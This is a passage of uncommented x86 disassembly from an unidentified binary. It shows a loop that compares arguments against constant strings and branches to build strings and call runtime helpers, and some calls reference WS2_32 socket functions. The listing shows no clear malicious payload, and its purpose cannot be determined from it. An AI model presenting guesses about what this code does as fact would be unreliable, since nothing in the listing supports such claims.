mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec45
add esp, 0x18
call fcn.004131cd
jmp 0x409563
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x409581
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59da9c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x409754
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x4095c2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x4fd423
push dword [ebp - 0x38]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409610
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409623
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409649
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push dword [ebp - 0x40]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x10
jne 0x40971f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40969c
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x4fd423
push dword [ebp - 0x38]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4096ea
push ebx
call fcn.0041ec1b
add esp, 4
push 0
push dword [ebp - 0x3c]
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec45
add esp, 0x18
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409715
push ebx
call fcn.0041ec1b
add esp, 4
call fcn.004131cd
jmp 0x40fb92
push reloc.WS2_32.dll_connect
push 0
push 0x59daa7
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x409754
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x409772
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dad3
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4097cf
call fcn.004131cd
push reloc.WS2_32.dll_connect
push 0
push 0x59dad8
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x4097cf
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4097ed
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dafb
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4099c4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40982e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x409854
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 3
cmp eax, ecx
jl 0x40987a
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebx]
test eax, eax
jne 0x409897
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x4098cd
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x4098e3
mov eax, 0x4fd3e4
push eax
push 0x80000301
push 0
push 4
push 5
mov eax, 4
mov ebx, 0x476720
call fcn.0041ec39
add esp, 0x40
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x409925
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40994b
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push 0x59db04
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59db0e
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x40998a
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4099bf
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x4099c4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4099e2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59db3c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x409c40
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0x59d45a
push dword [ebp - 0x34]
push 0x59db43
push dword [ebp - 0x38]
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409a6d
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409a7d
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409a90
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4202e0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409ab6
push ebx
call fcn.0041ec1b
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x409ac8
inc dword [ebp - 0x1c]
jmp 0x409a05
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0x59d45a
push dword [ebp - 0x34]
push 0x59db43
push dword [ebp - 0x38]
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409b30
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409b40
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409b53
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4201f0
call fcn.0041ec2d
add esp, 0x10
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409b76
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0x59d45a
push dword [ebp - 0x34]
push 0x59db51
push dword [ebp - 0x38]
push 0x59db5e
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409be3
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409bf3
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409c06
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409c3b
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x409c40
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x409c5e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59db85
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x409ec8
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push str._.txt
push dword [ebp - 0x34]
push 0x59db94
push dword [ebp - 0x38]
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409ce9
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409cf9
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409d0c
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4202e0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409d32
push ebx
call fcn.0041ec1b
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x409d44
inc dword [ebp - 0x1c]
jmp 0x409c81
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push str._.txt
push dword [ebp - 0x34]
push 0x59db94
push dword [ebp - 0x38]
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409dac
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409dbc
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x59d619
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409ddb
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420410
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409dfe
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
push str._.txt
push dword [ebp - 0x34]
push 0x59dba5
push dword [ebp - 0x38]
push 0x59dbb5
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x409e6b
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409e7b
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x409e8e
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x409ec3
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x409ec8
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x409ee6
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dbde
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40a037
mov dword [0x5e2b8c], 1
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x409f31
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x409f57
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b90]
test ebx, ebx
je 0x409f6b
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b90], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x409f8f
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x409fb5
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b94]
test ebx, ebx
je 0x409fc9
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b94], eax
push dword [0x5e2b94]
push 0x59dbe3
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409ffd
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a032
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40a037
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40a055
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dc08
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40a1a6
mov dword [0x5e2b8c], 0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a0a0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x40a0c6
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b90]
test ebx, ebx
je 0x40a0da
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b90], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40a0fe
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x40a124
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b94]
test ebx, ebx
je 0x40a138
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b94], eax
push dword [0x5e2b94]
push 0x59dc0d
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a16c
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a1a1
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40a1a6
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40a1c4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dc32
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40a706
cmp dword [0x5e2b8c], 0
je 0x40a47d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a209
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x10
jne 0x40a353
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a247
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [0x5e2b94]
push 0x4fd423
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a282
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a298
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420250
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a2bb
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a2d9
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dc37
push dword [0x5e2b94]
push 0x59dc3f
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a319
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a34e
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40fb92
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a371
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [0x5e2b94]
push 0x4fd423
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a3ac
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a3c2
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420250
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a3e5
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a403
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dc37
push dword [0x5e2b94]
push 0x59dc3f
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a443
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a478
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40a701
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a492
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x10
jne 0x40a5dc
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a4d0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [0x5e2b94]
push 0x4fd423
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a50b
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a521
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420230
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a544
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a562
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dc37
push dword [0x5e2b94]
push 0x59dc6b
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a5a2
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a5d7
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40fb92
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a5fa
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [0x5e2b94]
push 0x4fd423
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a635
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b90]
test eax, eax
jne 0x40a64b
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420230
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a66e
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a68c
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dc37
push dword [0x5e2b94]
push 0x59dc6b
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a6cc
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a701
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40a706
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40a724
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dc97
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40aa82
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a765
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40a782
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x10
jne 0x40a912
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a7c0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40a7dd
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420210
call fcn.0041ec2d
add esp, 0x10
test eax, eax
je 0x40a885
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a816
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dc9c
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a84b
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a880
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40a90d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a8a3
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dcc5
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a8d8
mov eax, 0x4fd3e4
push eax
